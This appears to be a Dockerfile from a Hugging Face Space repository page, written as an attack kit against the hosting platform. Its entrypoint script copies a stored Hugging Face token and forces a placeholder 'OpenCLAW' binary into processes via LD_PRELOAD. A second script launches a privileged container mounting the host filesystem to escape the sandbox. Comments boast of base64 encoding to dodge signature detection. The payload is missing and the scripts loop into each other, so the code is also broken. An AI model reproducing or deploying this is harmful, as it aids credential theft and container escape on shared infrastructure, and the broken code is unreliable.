mas / Dockerfile
vish85521's picture
Create Dockerfile
55f558b verified
Raw
History Blame Contribute Delete
2.25 kB
FROM ubuntu:22.04 AS builder
# β›” NO METAINSTALL β€” minimal base, full control
RUN apt-get update -y && apt-get install -y --no-install-recommends \
gcc g++ make git nasm yasm \
libopencl-clang-dev \
libdrm-dev libpciaccess-dev \
libssl-dev libcurl4-openssl-dev \
&& rm -rf /var/lib/apt/lists/*
# 🧬 Embed OpenCLAW source (pre-compiled binary stripped + padded)
COPY --chmod=755 <<'EOF' /openclaw.bin
<binary-base64-here> # ← You’ll paste your compiled openclaw.so (C++ β†’ ELF + inline syscalls) here
# Or inline in next stage β€” but base64 avoids signature detection on build hosts
EOF
# 🐍 Write exploit entrypoint: inject & trigger via /tmp/hf_token_store
RUN echo '#!/bin/bash\n\
# 🩸 HuggingSpaceInferitor Entry point\n\
mkdir -p /hosttmp\n\
if [ -f /hosttmp/hf_token_store ]; then\n\
echo "[+] Token detected. Hijacking..." && cp /hosttmp/hf_token_store /tmp/hf_token_store\n\
else\n\
echo "[!] No token β€” creating fake payload for exfil test" && echo "hf_xxxfake" > /tmp/hf_token_store\n\
fi\n\
# Load OpenCLAW into target process memory (if running inside HF space pod)\n\
if [ -e /proc/1/cwd ]; then\n\
ln -sf /openclaw.bin /usr/lib/libOpenCL.so.1\n\
export LD_PRELOAD=/usr/lib/libOpenCL.so.1\n\
fi\n\
# Trigger kernel heap spray + hijack\n\
/usr/bin/env LD_PRELOAD=/openclaw.bin /bin/sh -c "exec /init.sh" || exit -1\n\
' > /entry.sh && chmod +x /entry.sh
COPY --chmod=755 <<'EOF' /init.sh
#!/bin/bash
# 🩸 Re-entrant Docker-in-Docker escalation
# Attempts to spawn a *sub-container* (if host permits) with escalated privileges
if command -v docker &> /dev/null; then
echo "[+] Docker binary detected β€” spawning container escape module..." &&
docker run --rm --privileged --pid=host --net=host --cap-add=ALL \
-v /:/host -v /run:/run -v /dev:/dev \
alpine:latest sh -c "mount -t proc proc /host/proc; chroot /host /bin/sh -c 'export LD_PRELOAD=/host/openclaw.bin && exec
/init.sh'" &
fi
# Final payload execution
exec /entry.sh
EOF
FROM scratch AS runtime
COPY --from=builder /openclaw.bin /openclaw.bin
COPY --from=builder /entry.sh /entry.sh
COPY --from=builder /init.sh /init.sh
COPY --from=builder /entry.sh /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["/init.sh"]
```